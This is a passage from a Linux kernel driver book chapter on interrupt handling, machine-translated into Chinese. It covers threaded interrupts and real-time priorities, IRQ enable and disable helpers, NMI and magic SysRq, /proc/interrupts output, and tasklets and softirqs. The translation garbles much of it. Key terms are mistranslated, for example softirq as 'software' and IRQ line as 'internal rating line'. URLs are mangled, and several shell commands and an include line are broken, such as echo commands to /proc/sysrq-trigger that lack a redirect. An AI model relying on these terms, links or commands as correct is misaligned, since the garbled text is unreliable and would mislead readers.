ms)到来了呢!这在上图中有描述:中断以很快的速度继续,直到时间`t2`;只有在它们全部完成之后,上下文才会被恢复。因此,调度代码运行并且(假设)上下文切换回线程 B,给它处理器(在现代英特尔 CPU 上,我们假定保守的上下文切换时间为 50 微秒:[https://blog . tsunanet . net/2010/11/制造上下文需要多长时间. html](https://blog.tsunanet.net/2010/11/how-long-does-it-take-to-make-context.html) )。然而,不久之后,在`t3`时刻,硬件中断再次触发,再次抢占 B。这可以无限期地进行下去;RT 线程最终会运行(当中断风暴完成时),但可能会也可能不会达到它的截止日期!这是主要问题。 - -The problem that was described in the preceding paragraph doesn't go away by simply raising the real-time priority of your user mode threads; the hardirq hardware interrupts will still always preempt them, regardless of their priority. - -通过将**线程中断**从 RTL 项目反向移植到主线 Linux,我们可以**解决**这个问题。怎么做?想想看:有了*线程中断*模型,现在大部分的中断处理工作都是由一个`SCHED_FIFO`内核线程执行的,该线程的实时优先级为`50`。因此,只需设计您的用户空间应用,使其在必要时具有实时优先级**高于`50`** 的`SCHED_FIFO`实时线程。**这将确保它们优先于硬件中断处理程序运行!** - -The key idea here is that a user mode thread under the `SCHED_FIFO` policy and a real-time priority 50, can, in effect, preempt the (threaded) hardware interrupt! Quite a thing indeed. - -因此,对于我们的示例场景,让我们现在假设我们正在使用线程中断。接下来,调整用户空间多线程应用的设计:为我们的三个实时线程分配`SCHED_FIFO`策略和 60、65 和 70 的实时优先级。下图概念性地描述了这个场景(为了清楚起见,我们只显示了我们的一个用户空间`SCHED_FIFO`线程,线程 B,这次是在`65`的`rtprio`): - -![](img/9e8f7bd2-2822-44d8-b5f9-1a0c30c5b1f9.png) - -Figure 4.6 – Threaded interrupt model – a user mode RT SCHED_FIFO rtprio 50 thread can preempt the threaded interrupt; deadline achieved - -在上图中,RT 线程 B 现在处于`SCHED_FIFO`调度策略,其`rtprio`为`65`。它最多需要 12 毫秒来完成(达到截止日期)。再说一遍,执行 6 毫秒(`t0`到`t1`);在时间`t1`时,硬件中断触发。这里,低级设置代码和(内核默认或驱动程序的)hardirq 处理程序将立即执行,抢占处理器上的任何东西。但是,hardirq 或主处理程序执行时间很短(最多几微秒)。正如我们已经讨论过的,这是现在正在执行的主处理程序;它将在返回`IRQ_WAKE_THREAD`值之前完成所需的最少工作,这将使内核唤醒代表线程处理程序的内核线程。然而——这是关键——线程中断,也就是优先级为`50`的`SCHED_FIFO`,现在正与其他可运行的线程争夺 CPU 资源。由于线程 B 是一个`SCHED_FIFO`实时线程,rtprio 为`65`,**会把线程处理程序打到 CPU,转而运行!** - -综上所述,在上图中,发生了以下情况: - -* 时间`t0`到`t1`:用户模式 RT 线程(`SCHED_FIFO`,`rtprio 65`)正在执行代码(6 毫秒) -* 在`t1`时刻,细灰色条代表 hardirq 低级设置/BSP 代码。 -* 细的黑色双箭头垂直线代表主 hardirq 处理程序(上面两个都只需要几微秒就可以完成)。 -* 蓝色条是排班代码。 -* 紫色条(在`t3` + 50 us)代表在 rtprio `50`运行的线程中断处理程序。 - -所有这一切的结果是线程 B 在它的期限内很好地完成了它的工作(这里,作为一个例子,它在 10 毫秒多一点的时间内完成了它的期限)。 - -除非时间限制非常关键,否则使用线程中断模型来处理设备的中断对大多数设备和驱动程序都非常有效。在撰写本文时,倾向于保留在传统的上/下半部分方法中的设备(在*理解和使用上半部分和下半部分*部分中有详细介绍)通常是高性能网络、数据块和(某些)多媒体设备。 - -## 使用线程处理程序时的约束 - -关于线程处理程序的最后一点:内核不会盲目地允许你对任何 IRQ 使用线程处理程序;它尊重一些约束。在注册您的线程处理程序时(通过`[devm_]request_threaded_irq()`API),它会执行几个有效性检查,其中一个我们已经提到过了:`IRQF_ONESHOT`对于线程处理程序必须存在。 - -也要看实际的 IRQ 线;例如,我曾经尝试过在 x86 上对 IRQ `1`使用线程处理程序(通常是 i8042 键盘/鼠标控制器芯片的中断线路)。它失败了,内核显示以下内容: - -```sh -genirq: Flags mismatch irq 1\. 00002080 (driver-name) vs. 00000080 (i8042) -``` - -因此,从前面的输出中,我们可以看到 i8042 将只接受用于 IRQ 标志的`0x80`位掩码,而我传递了一个值`0x2080`;稍加检查就会发现`0x2000`旗确实是`IRQF_ONESHOT`旗;显然,这导致了不匹配,是不允许的。不仅如此,还要注意是谁标记了错误——是内核的通用 IRQ 层(`genirq`)在幕后检查东西。(请注意,这种错误检查不限于线程中断。) - -此外,某些关键设备会发现使用线程处理程序实际上会减慢它们的速度;这对于现代网卡、块设备和一些多媒体设备来说非常典型。他们通常使用 hardirq 上半部分和 tasklet/softirq 下半部分机制(这将在*理解和使用上半部分和下半部分*一节中解释)。 - -## 使用 hardirq 或线程处理程序 - -在我们结束这一部分之前,还有一个有趣的点需要考虑:内核提供了一个 IRQ 分配 API,根据某些情况,它会将您的中断处理程序设置为传统的 hardirq 处理程序或线程处理程序。这个 API 叫做`request_any_context_irq()`;请注意,它是作为仅 GPL 导出的。其签名如下: - -```sh -int __must_check -request_any_context_irq(unsigned int irq, irq_handler_t handler, - unsigned long flags, const char *name, void *dev_id); -``` - -参数与`request_irq()`相同。当被调用时,该例程将决定中断处理函数——参数`handler`——是在原子 hardirq 上下文中运行,还是在支持睡眠的进程上下文(内核线程的上下文)中运行,换句话说,作为线程处理程序运行。你怎么知道`handler()`会出现在哪个语境中?根据`handler()`将要运行的上下文,返回值让您知道: - -* 如果它将在 hardirq 上下文中运行,它将返回一个值`IRQC_IS_HARDIRQ`。 -* 如果它将在进程/线程上下文中运行,它将返回一个值`IRQC_IS_NESTED`。 -* 失败时将返回否定的`errno`(您应该检查这一点)。 - -然而,这到底意味着什么呢?本质上,有些控制器在慢速公共汽车上(I2C 就是一个很好的例子);它们衍生出使用所谓“嵌套”中断的处理程序,这实际上意味着处理程序本质上不是原子的。它可能会调用休眠的函数(同样,I2C 函数就是一个很好的例子),因此需要被抢占。使用`request_any_context_irq()` API 可以确保如果是这种情况,底层通用 IRQ 代码会检测到它,并给你一个合适的处理接口。GPIO 驱动的矩阵键盘驱动程序是另一个利用该应用编程接口(`drivers/input/keyboard/matrix_keypad.c`)的例子。 - -有了这些内容,您现在了解了什么是线程中断,以及它们为什么会非常有用。现在,让我们看一个更短的主题:作为驱动程序作者,您如何选择性地启用/禁用 IRQ 行。 - -# 启用和禁用 IRQ - -通常,处理低级中断管理的是核心内核(和/或特定于 arch 的)代码。这包括在需要时屏蔽它们。然而,在启用/禁用硬件中断时,一些驱动程序以及操作系统需要细粒度的控制。当您的驱动程序或模块代码以内核权限运行时,内核提供了(导出的)帮助程序,允许您完全这样做: - -| **简评** | **API 或助手例程** | -| **禁用/启用本地处理器上的所有中断** | | -| 无条件禁用本地(当前)处理器内核上的所有中断。 | `local_irq_disable()` | -| 无条件启用本地(当前)处理器内核上的所有中断。 | `local_irq_enable()` | -| 保存的状态(中断屏蔽),然后禁用本地(当前)处理器内核上的所有中断。状态保存在通过的`flags`参数中。 | `local_irq_save(unsigned long flags);` | -| 恢复通过的状态(中断屏蔽),从而根据`flags`参数启用本地(当前)处理器内核上的中断。 | `local_irq_restore(unsigned long flags);` | -| **禁用/启用特定的 IRQ 线路** | | -| 禁用 IRQ 线路`irq`;在返回之前,将等待并同步任何未决中断(在该 IRQ 线路上)完成。 | `​void disable_irq(unsigned int irq);` | -| 禁用 IRQ 线路`irq`;不会等待任何未决中断(在那个 IRQ 线上)完成(`nosync`)。 | `void disable_irq_nosync(unsigned int irq);` | -| 禁用 IRQ 线路`irq`并等待活动的 hardirq 处理程序完成后再返回。如果与该 IRQ 行相关的任何线程处理程序处于活动状态(需要 GPL),则返回`false`。 | `bool disable_hardirq(unsigned int irq);` | -| 启用 IRQ 线路`irq`;撤销对`disable_irq()`的一次调用的效果。 | `​void enable_irq(unsigned int irq);` | - -`local_irq_disable() / local_irq_enable()`助手被设计为禁用/启用本地或当前处理器内核上的所有中断(除了 NMI)。 - -The implementation on x86[_64] of `local_irq_disable()`/`local_irq_enable()` is done via the (in)famous `cli`/`sti` pair of machine instructions; in the bad old days, these used to disable/enable interrupts across the system, on all CPUs. Now, they work on a per-CPU basis. - -`disable_{hard}irq*()` / `enable_irq()`助手被设计成选择性地禁用/启用特定的 IRQ 线路,并被称为一对。前面提到的一些例程可以从中断上下文中调用,尽管这应该小心进行!确保从流程上下文中调用它们更安全。之所以有“小心”的说法,是因为这些助手中有几个是通过内部调用非阻塞例程来工作的,比如`cpu_relax()`,它们通过在处理器上重复运行一些机器指令来等待。(`cpu_relax()`是这种“需要小心使用”情况的一个很好的例子,因为它通过在无限循环中调用`nop`机器指令来工作;当任何硬件中断触发时,循环退出,这正是我们所等待的!现在,在中断上下文中等待一段时间被认为是一件错误的事情;因此有了“小心”的说法。)用于`disable_hardirq()`的内核提交(链接:[https://github . com/Torvalds/Linux/commit/02 CEA 3958664723 a5d 2236 f 0058 de 97 c 7e 4693](https://github.com/torvalds/linux/commit/02cea3958664723a5d2236f0f0058de97c7e4693))解释了它可以用于像 netpoll 这样的*需要禁用原子上下文中断的情况*。 - -禁用中断时,请注意确保您没有持有(锁定)处理程序可能使用的任何共享资源。这将导致(自我)死锁!(锁定及其许多场景将在本书的最后两章中详细解释。) - -## NMI - -除了**不可屏蔽中断** ( **NMI** ) ***之外,前面所有的应用编程接口和助手都处理所有的硬件中断。***NMI 是一个特定于 arch 的中断,用于实现硬件看门狗和调试功能(例如,所有内核的无条件内核堆栈转储;我们将很快展示一个例子)。此外,NMI 中断线路不能共享。 - -内核所谓的**魔法系统**工具就是利用 NMI 的一个简单例子。要查看为魔法 SysRq 分配的键盘热键,您必须通过键入`[Alt][SysRq][letter]`组合键来调用或触发它。 - -magic SysRq triggering: Instead of getting your fingers all twisted typing `[Alt][SysRq][letter]`, there's an easier – and more importantly non-interactive – way to do so: just echo the relevant letter to a proc pseudofile (as root, of course): `echo letter/proc/sysrq-trigger`. - -但是我们需要输入哪个字母呢?以下输出显示了一种快速找到答案的方法。这是对魔法系统的一种快速帮助(我是在我的树莓皮 3B+上做的): - -```sh -rpi # dmesg -C -rpi # echo ? /proc/sysrq-trigger -rpi # dmesg -[ 294.928223] sysrq: HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z) -rpi # -``` - -我们目前感兴趣的是粗体显示的字母`l`(小写字母 L)—`show-backtrace-all-active-cpus(l)`。一旦被触发,它就像承诺的那样——它显示了所有活动 CPU 上内核模式堆栈的堆栈回溯!(这可能是一个有用的调试辅助工具,因为您将看到每个 CPU 内核现在正在运行什么。)怎么做?它通过向他们发送一个 NMI 来做到这一点;也就是对所有的 CPU 核心!这是一种方法,我们可以确切地看到在命令被触发的那一刻,中央处理器在做什么!当系统出现问题时,这可能非常有用。 - -在这里,`echo l /proc/sysrq-trigger`(作为根)起作用了!以下部分屏幕截图显示了输出: - -![](img/79f72a3d-c1fa-4bc9-9d0d-a6c26353cfed.png) - -Figure 4.7 – The output when the NMI is sent to all CPUs, showing the kernel stack backtrace on each of them - -在前面的截图中,可以看到`bash` PID 633 运行在 CPU `0`上,内核线程`swapper/1`运行在 CPU `1`上(可以看到每个的内核栈;以自下而上的方式阅读它)。 - -魔法 SysRq 设施的代码可以在`drivers/tty/sysrq.c`找到;浏览一下很有趣。以下是当魔法 SysRq `l`被触发时 x86 上发生的情况的大致调用图: - -```sh -include/linux/nmi.h:trigger_all_cpu_backtrace() arch_trigger_cpumask_backtrace() - arch/x86/kernel/apic/hw_nmi.c:arch_trigger_cpumask_backtrace() - nmi_trigger_cpumask_backtrace() -``` - -最后一个函数实际上在`lib/nmi_backtrace.c:nmi_trigger_cpumask_backtrace()`变成了通用(非特定于 arch)代码。这里的代码通过向每个 CPU 发送一个 NMI 来触发 CPU 回溯。这是通过`nmi_cpu_backtrace()`功能实现的。这个函数依次通过调用`show_regs()`或`dump_stack()`例程来显示我们在前面截图中看到的信息,这些例程最终会变成特定于 arch 的代码来转储 CPU 寄存器以及内核模式堆栈。该代码也足够智能,不会试图在那些处于低功耗(空闲)状态的 CPU 内核上显示回溯。 - -Again, things are not always simple in the real world; see this article by Steven Rostedt on the complex issues people have faced with the x86 NMI and how they've been addressed: *The x86 NMI iret problem*, March 2012: [https://lwn.net/Articles/484932/](https://lwn.net/Articles/484932/). - -到目前为止,我们还没有真正看到分配的 IRQ 行的内核视图;很自然,接口是通过`procfs`文件系统;让我们深入研究一下。 - -# 查看所有分配的中断(IRQ)线路 - -现在您已经了解了足够多的关于 IRQ 和中断处理的细节,我们可以(最后!)利用内核的`proc` 文件系统,这样我们就可以查看当前分配的 IRQ。我们可以通过阅读`/proc/interrupts`伪文件的内容来做到这一点。我们将显示几个截图:第一个(*图 4.8* )显示了我的树莓 Pi ZeroW 上的 IRQ 状态—每个 I/O 设备每个 CPU 服务的中断数,而第二个(*图 4.9* )在我们“常用”的 x86_64 Ubuntu 18.04 VM 上显示了这一点: - -![](img/97cb838d-8a47-42f0-81ed-e47551ee8883.png) - -Figure 4.8 – IRQ status on a Raspberry Pi ZeroW - -在前面的`/proc/interrupts`输出中,系统上的每一条 IRQ 线都会发出一条线(或记录)。让我们解释输出的每一列: - -* 第一列是已经分配的 IRQ 号。 -* 第二列(向前)显示了每个 CPU 内核(从系统启动到现在)已经服务的 hardirqs 的数量。该数字表示中断处理程序在该 CPU 内核上运行的次数(列数因系统上处理 IRQ 的活动内核数量而异)。在前面的截图中,树莓 Pi Zero 只有一个 CPU 内核,而我们的 x86_64 VM 有两个(虚拟化的)CPU 内核,中断分布在这两个内核上并进行处理(在*负载平衡中断和 IRQ 相似性*一节中有更多相关内容)。 -* 第三列(或后面的列)显示中断控制器芯片。在 x86(图 4.9*第四列*)上,IO-APIC 这个名字意味着中断控制器是一个增强的,在多核系统上使用,将中断分配给不同的内核或 CPU 组(在高端系统上,可能会有多个 IO-apic 在运行)。 -* 其后的列显示正在使用的中断触发类型;也就是电平或边沿触发(我们在*理解电平和边沿触发中断*一节中讨论了这一点)。这里,`Edge` 告诉我们 IRQ 是边缘触发的。它前面的数字(例如,前面截图中的`35 Edge`)非常依赖于系统。它通常表示中断源(内核映射到一个 IRQ 行;许多嵌入式设备驱动程序经常使用 GPIO 引脚作为中断源)。最好不要试图解释它(除非你真的知道如何解释),而只是依赖于 IRQ 号(第一列)。 -* 右边的最后一列是 IRQ 线的当前所有者。通常,这是设备驱动程序或内核组件的名称(通过其中一个`*request_*irq()`API 分配了这个 IRQ 行)。 - -![](img/4cfcd782-9fe7-4648-85a6-d1d1df254a38.png) - -Figure 4.9 – IRQ status on an x86_64 Ubuntu 18.04 VM (truncated screenshot) - -从 2.6.24 内核来看,对于 x86 和 AMD64 系统(或 x86_64),这里甚至会显示非设备(I/O)中断(系统中断),比如 NMI、**本地定时器中断** ( **LOC** )、PMI、IWI 等等。在*图 4.9* 中可以看到,最后一行显示`IWI`,是**工间中断**。 - -显示`/proc/interrupts`前面输出的内核 procfs 代码——也就是它的`show` 方法——可以在`kernel/irq/proc.c:show_interrupts()`找到(链接:[https://酏剂. boot in . com/Linux/v 5.4/source/kernel/IRQ/proc . c # L438](https://elixir.bootlin.com/linux/v5.4/source/kernel/irq/proc.c#L438))。首先,它打印标题行,然后为每个 IRQ 行发出一行“记录”。统计数据主要来源于各 IRQ 行的元数据结构内–`struct irq_desc`;在每个 IRQ 中,它在每个处理器内核上循环(通过`for_each_online_cpu()`助手例程),打印为每个内核服务的 hardirqs 的数量。最后(最后一列),通过`struct irqaction`的`name`成员打印 IRQ 线的“所有者”。x86 的专用中断(如`NMI`、`LOC`、`PMI`和`IWI` IRQs)通过`arch/x86/kernel/irq.c:arch_show_interrupts()`的代码显示。 - -On the x86, IRQ `0` is always the **timer interrupt**. In the companion guide *Linux Kernel Programming -* *Chapter 10*, *The CPU Scheduler - Part 1*, we learned that, in theory, the timer interrupt fires `HZ` times per second. In practice, for efficiency, this has now been replaced with a per-CPU periodic **high-resolution timer** (**HRT**); it shows up as the IRQ named **LOC** (for **LOCal**) for timer interrupts in `/proc/interrupts`. -This actually explains why the number of hardware timer interrupts under the `timer` row is very low; check this out (on an x86_64 guest with four (virtual) CPUs): -`$ egrep "timer|LOC" /proc/interrupts ; sleep 1 ; egrep "timer|LOC" /proc/interrupts` -`0: 33 0 0 0 IO-APIC 2-edge timer` -`LOC: 11038 11809 10058 8848 Local timer interrupts` -`0: 33 0 0 0 IO-APIC 2-edge timer` -`LOC: 11104 11844 10086 8889 Local timer interrupts` -`$` Notice how IRQ `0` doesn't increment but the `LOC` IRQ does indeed (per CPU core). - -`/proc/stat`伪文件还提供了一些关于在每个 CPU 的基础上利用服务中断的信息,以及可以服务的中断数量(更多细节请参考`proc(5)`手册页)。 - -Softirqs, as explained in detail in the *Understanding and using top and bottom halves* section, can be viewed via `/proc/softirqs`; more on this later. - -至此,您已经了解了如何查看分配的 IRQ 行。然而,中断处理的一个主要方面仍然存在:理解所谓的上半/下半二分法,它们存在的原因,以及如何使用它们。我们将在下一节讨论这个问题。 - -# 理解和使用上半部分和下半部分 - -非常强调的事实是,您的中断处理程序必须快速完成其工作(如*保持快速*部分和其他地方所解释的)。话虽如此,一个实际问题确实出现了。让我们考虑一下这个场景:您已经分配了 IRQn,并编写了中断处理函数来处理到达的中断。大家可能还记得,我们这里所说的函数,通常称为 **hardirq** 或 **ISR(中断服务例程)**或主处理程序,是`request_{threaded}_irq()` API 的第二个参数,是`devm_request_irq()` API 的第三个参数,是`devm_request_threaded_irq()` API 的第四个参数。 - -正如我们之前提到的,有一个快速的启发:如果你的 hardirq 例程的处理持续超过 100 微秒,那么你将需要使用替代策略。假设您的处理程序在这段时间内完成得很好;在这种情况下,根本没有问题!但是如果它确实需要更多的时间呢?也许外围设备的低级规范要求您在中断到达时做许多事情(比如说有 10 个项目要完成)。您正确地编写了代码,但是它几乎总是超过时间限制(根据经验法则是 100 微秒)!你是做什么的?一方面,有这些内核乡亲在吼你快点完成;另一方面,外围设备的低级规范要求您遵循几个关键步骤来正确处理中断!(谈进退两难!) - -正如我们之前所暗示的,在这种情况下,有两种广泛的策略可以遵循: - -* 使用线程中断来处理大部分工作;考虑了现代的方法。 -* 使用“下半部分”程序来处理大部分工作;传统的方法。 - -我们在*使用线程中断模型*一节中详细介绍了线程中断的概念理解、实际用法以及*为什么*。在上下半部模型中,这是一种方法: - -* 所谓的**上半部分**是硬件中断触发时最初调用的功能。因此,这是您所熟悉的-它只不过是您通过其中一个`*request_*irq()`API 注册的 **hardirq** 、ISR 或主处理程序例程(为清楚起见:通过这些 API 之一:`request_irq()` / `devm_request_irq()` / `request_threaded_irq()` / `devm_request_threaded_irq()`)。) -* 我们还注册了一个所谓的**下半部分**例程来执行大部分中断处理工作。 - -换句话说,中断处理被**分成两半**–顶部和底部。然而,这并不是一个真正令人愉快的描述方式(因为英文单词 half 让你直观地认为例程的大小大致相同);现实更像这样: - -* 上半部分执行所需的最少工作(通常,确认中断,可能在上半部分期间在板上将其关闭,然后执行任何(最少)特定于硬件的工作,包括根据需要从/向设备接收/发送一些数据)。 -* 下半部分例程执行大部分中断处理工作。 - -那么,下半部分是什么?这只是一个在内核中注册的 C 函数。您应该使用的实际注册 API 取决于您打算使用的下半部分的*类型*。有三种类型: - -* 旧的**下半部**机制,现已弃用;缩写为 **BH** (你几乎可以忽略它)。 -* 现代推荐的(如果你首先使用这种上下半技术)机制是:**小任务**。 -* 底层内核机制:**软件**。 - -You will come to see that the tasklet is actually built upon a kernel softirq. - -事情是这样的:上半部分——我们一直在使用的 hardirq 处理器——正如我们之前提到的那样,只做最少的工作;然后,它“调度”其下半部分并退出(返回)。这里的 schedule 这个词并不意味着它叫`schedule()`,因为那将是荒谬的(毕竟,我们处在一个中断的环境中!);这只是用来描述事实的词。内核会保证一旦上半部分完成,下半部分尽快运行;特别是,没有用户或内核线程会抢占它。 - -等一下:即使我们做了所有这些——将处理程序分成两半,让它们一起执行工作——那么我们是如何节省时间的呢?毕竟这是初衷。现在调用两个函数而不是一个函数的开销会不会更长?啊,这给我们带来了一个真正的关键点:**上半部分(hardirq)总是在当前 CPU 及其处理的 irq 在所有 CPU 上禁用(屏蔽)所有中断的情况下运行,但下半部分处理程序在所有中断启用的情况下运行。** - -请注意,下半部分仍然在原子或中断上下文中运行!因此,适用于 hardirq(上半部)处理器的相同注意事项也适用于下半部处理器: - -* 您不能(向或从用户内核空间)传输数据。 -* 只能用`GFP_ATOMIC`标志分配内存(如果真的必须)。 -* 你不能直接或间接地称呼`schedule()`。 - -这种下半部分处理是内核*延迟功能*能力的子集;内核有以下几种延迟功能机制: - -* 工作队列(基于内核线程);`context:process` -* 下半部分/小任务(基于 softirqs`context:interrupt` -* Softirqs`context:interrupt` -* 内核定时器;`context:interrupt` - -We will cover kernel timers and workqueues in [Chapter 5](5.html), *Working with Kernel Timers, Threads, and Workqueues.* - -所有这些机制都允许内核(或驱动程序)指定在安全的情况下,某些工作必须在以后执行(被推迟)。 - -此时,您应该能够理解我们已经讨论过的线程中断机制有点类似于延迟功能机制。这被认为是现代的使用方法;同样,尽管它的性能对于大多数外设来说是可以接受的,但是一些设备类别——通常是网络/块/多媒体——可能仍然需要传统的上下半部机制来提供足够高的性能。此外,我们再次强调:上半部分和下半部分总是在原子(中断)上下文中运行,而线程处理程序实际上在进程上下文中运行;你可以认为这是一个优点或缺点。事实是,尽管线程处理程序在技术上是在流程上下文中,但最好在其中执行快速的非阻塞操作。 - -## 指定和使用小任务 - -小任务和内核的 softirq 机制之间的一个关键区别是,小任务更容易处理,这使得它们成为典型驱动程序的一个很好的选择。当然,如果你可以用一个线程处理程序来代替,就这么做;稍后,我们将展示一张表格,帮助您决定使用什么以及何时使用。让小任务更容易使用的一个关键因素是(在 SMP 系统上)特定的小任务永远不会与自身并行运行;换句话说,一个给定的小任务一次只在一个 CPU 上运行(使其相对于自身是非并发的或序列化的)。 - -`linux/interrupt.h`中的标题注释也给出了小任务的一些重要属性: - -```sh -[...] Properties: - * If tasklet_schedule() is called, then tasklet is guaranteed - to be executed on some cpu at least once after this. - * If the tasklet is already scheduled, but its execution is still not - started, it will be executed only once. - * If this tasklet is already running on another CPU (or schedule is - called from tasklet itself), it is rescheduled for later. - * Tasklet is strictly serialized wrt itself, but not - wrt another tasklets. If client needs some intertask synchronization, - he makes it with spinlocks. [...] -``` - -我们将很快显示`tasklet_schedule()`功能。前面注释块中的最后一点将在本书的最后两章中讨论。 - -那么,我们如何使用小任务呢?首先,我们要用`tasklet_init()` API 来设置;然后,我们必须安排执行。让我们学习如何做到这一点。 - -### 正在初始化小任务 - -`tasklet_init()`函数初始化一个小任务;其签名如下: - -```sh -#include -void tasklet_init(struct tasklet_struct *t, void (*func)(unsigned long), unsigned long data); -``` - -让我们来看看它的参数: - -* `struct tasklet_struct *t`:这个结构是表示小任务的元数据。正如你已经知道的,指针本身没有记忆!记得给数据结构分配内存,然后在这里传递指针。 -* `void (*func)(unsigned long)`:这是小任务函数本身–**hardirq 完成后运行的“下半部分”**;该下半部分功能执行大部分中断处理过程。 -* `unsigned long data`:你希望传递给小任务例程的任何数据项(一个 cookie)。 - -这个初始化工作应该在哪里进行?通常,这是在驾驶员的*探头*(或`init`)功能中完成的。那么,现在它已经初始化并准备好了,我们如何调用它呢?我们来看看。 - -### 运行小任务 - -小任务是下半部分。因此,在上半部分,也就是你的 hardirq 处理程序例程中,你在返回之前应该做的最后一件事就是“安排”你的小任务执行: - -```sh -void tasklet_schedule(struct tasklet_struct *t); -``` - -只需将指向你的(初始化的)小任务结构的指针传递给`tasklet_schedule()`API;内核将处理剩下的。内核是做什么的?它计划执行这个小任务;实际上,您的小任务的函数代码保证在控制返回到最初被中断的任务(无论是用户还是内核线程)之前运行。更多细节可以在*了解内核如何运行软件*部分找到。 - -关于小任务,有几件事你需要清楚: - -* 小任务在中断(原子)上下文中执行其代码;这实际上是一个软上下文。所以,记住,所有适用于上半部分的限制也适用于这里!(查看*中断上下文指南–做什么和不做什么*部分了解限制的详细信息) -* 同步(在 SMP 盒上): - * 给定的小任务永远不会与其自身并行运行。 - * 不同的小任务*可以*在不同的 CPU 内核上并行运行。 - * 你的小任务本身可以被 hardirq 打断,包括你自己的 irq!这是因为,默认情况下,小任务在本地内核上所有中断都被启用的情况下运行,当然,hardirq 是系统的最高优先级 - * 锁定含义确实很重要——我们将在本书的最后两章详细介绍这些领域(尤其是当我们介绍*自旋锁*时)。 - -一些(通用驱动程序)示例代码如下(为了清楚起见,我们避免显示任何错误路径): - -```sh -#include <"convenient.h"> // has the PRINT_CTX() macro -static struct tasklet_struct *ts; -[...] -static int __init mydriver_init(void) -{ - struct device *dev; - [...] - /* Register the device with the kernel 'misc' driver framework */ - ret = misc_register(&keylog_miscdev); - dev = keylog_miscdev.this_device; - - ts = devm_kzalloc(dev, sizeof(struct tasklet_struct), GFP_KERNEL); - tasklet_init(ts, mydrv_tasklet, 0); - - ret = devm_request_irq(dev, MYDRV_IRQ, my_hardirq_handler, - IRQF_SHARED, OURMODNAME, THIS_MODULE); - [...] -``` - -在前面的代码片段中,我们声明了一个全局指针`ts`,指向`struct tasklet_struct`;在驱动程序的`init` 代码中,我们将驱动程序注册为属于`misc` 内核框架。接下来,我们为小任务结构分配内存(通过有用的`devm_kzalloc()`应用编程接口)。接下来,我们通过`tasklet_init()`应用编程接口初始化小任务。请注意,我们指定了函数名(第二个参数),并简单地将`0`作为第三个参数传递,这是要传递的 cookie(许多真正的驱动程序在这里传递它们的上下文/私有数据结构指针)。然后,我们分配了一条内部评级线(通过`devm_request_irq()`应用编程接口)。 - -让我们继续看这个通用驱动程序的代码: - -```sh -/ * Our 'bottom half' tasklet routine */ -static void mydrv_tasklet(unsigned long data) -{ - PRINT_CTX(); // from our convenient.h header - process_it(); // majority of the interrupt work done here -} - -/* Our 'hardirq' interrupt handler routine - our 'top half' */ -static irqreturn_t my_hardirq_handler(int irq, void *data) -{ - /* minimal work: ack/disable hardirq, fetch and/or queue data, etc ... */ - tasklet_schedule(ts); - return IRQ_HANDLED; -} -``` - -在前面的代码中,让我们假设我们做了上半部分所需的任何最小的工作(函数`my_hardirq_handler()`)。然后我们启动了我们的小任务,这样它就可以通过调用`tasklet_schedule()`应用编程接口来运行。你会发现小任务几乎会在 hardirq 之后立即运行(在前面的代码中,小任务函数被称为`mydrv_tasklet()`)。在小任务中,您需要执行大部分的中断处理工作。其中,我们称我们的宏为`PRINT_CTX()`;正如您将在*完全理解上下文*部分看到的,它打印了关于我们当前上下文的各种细节,这有助于调试/学习(您会发现它显示了我们当前正在中断上下文中运行)。 - -您可以通过`tasklet_hi_schedule()`应用编程接口使用替代例程来代替`tasklet_schedule()`应用编程接口。这在内部使得小任务成为*最高优先级软任务*(软任务优先级`0`)!(更多信息可以在*了解内核软 irq 机制*部分找到。)请注意,这几乎从未完成;小任务享有的默认(softirq)优先级通常已经足够了。将其设置为`hi`级别实际上只是针对极端情况;尽可能避免。 - -On version 5.4.0 Linux, there *are* 70-odd instances of the `tasklet_hi_schedule()` function being used by drivers. The drivers are typically high-performance network drivers – a few GPU, crypto, USB, and mmc drivers, as well as a few other drivers. - -说到小任务,内核一直在进化。Kees Cook 和其他人最近(截至撰写本文时,2020 年 7 月)修补程序正在寻求更新小任务例程(回调)。更多信息请访问[https://www . open wall . com/list/kernel-Harding/2020/07/16/1](https://www.openwall.com/lists/kernel-hardening/2020/07/16/1)。 - -## 理解内核软件机制 - -此时,您明白了下半部分,即小任务,是一种延迟的功能机制,在运行时不会屏蔽中断。它们旨在让您两全其美:如果情况需要,它们允许驱动程序进行相当长的中断处理*和*以延迟安全的方式进行,同时允许系统业务(通过硬件中断)继续。 - -您已经学习了如何使用小任务——这是延迟功能机制的一个很好的例子。但是它们是如何在内部实现的呢?内核通过名为 **softirq** (或**软件中断**)机制*的底层工具实现小任务。*虽然从表面上看,它们类似于我们之前看到的线程中断,但在许多重要方面确实非常不同。软 IRQ 的以下特征将帮助您理解它们: - -* Softirqs 是一种纯内部内核延迟功能机制,因为它们是在内核编译时静态分配的(它们都被硬编码到内核中);您不能动态创建新的 softirq。 -* 内核(从 5.4 版本开始)总共提供 10 个独立的软件: - * 每一个 softirq 都是为了满足特定的需求而设计的,通常与特定的硬件中断或内核活动有关。(这里的例外可能是为通用小任务保留的软 IRQ:`HI_SOFTIRQ`和`TASKLET_SOFTIRQ`。) - * 这 10 个软 IRQ 有一个优先顺序(并将按此顺序消费)。 - * 事实上,小任务是特定 softirq ( `TASKLET_SOFTIRQ`)之上的一个精简抽象,它是 10 个可用软件之一。小任务是唯一一个可以随意注册、运行和注销的小任务,这使得它成为许多设备驱动程序的理想选择。 -* softirq 在中断-soft IRQ-上下文中运行。`in_softirq()`宏在这里返回`true`,暗示你处于一个 softirq(或小任务)上下文中。 -* 所有软件维护都被认为是系统的高优先级。在硬件中断(即`hardirq/ISR/primary`处理程序)旁边,softirq 在系统中具有最高优先级。在首先被中断的过程上下文被恢复之前,挂起的软件请求被内核*消耗。* - - *下图是我们先前在标准 Linux 上描述优先级的超集;这一个包括软 IRQ(其中是小任务): - -![](img/cdb5a54d-d4ea-4ac3-b64f-cba27cd50639.png) - -Figure 4.10 – Relative priorities on standard Linux, showing softirqs as well - -所以,是的,如你所见,软 IRQ 是 Linux 上一个非常高优先级的机制;有 10 个不同的优先事项。它们是什么,它们的目的是什么,将在下一小节中介绍。 - -### 可用的软件及其用途 - -给定 softirq 执行的工作被静态编译到内核映像中(这是固定的)。软 irq 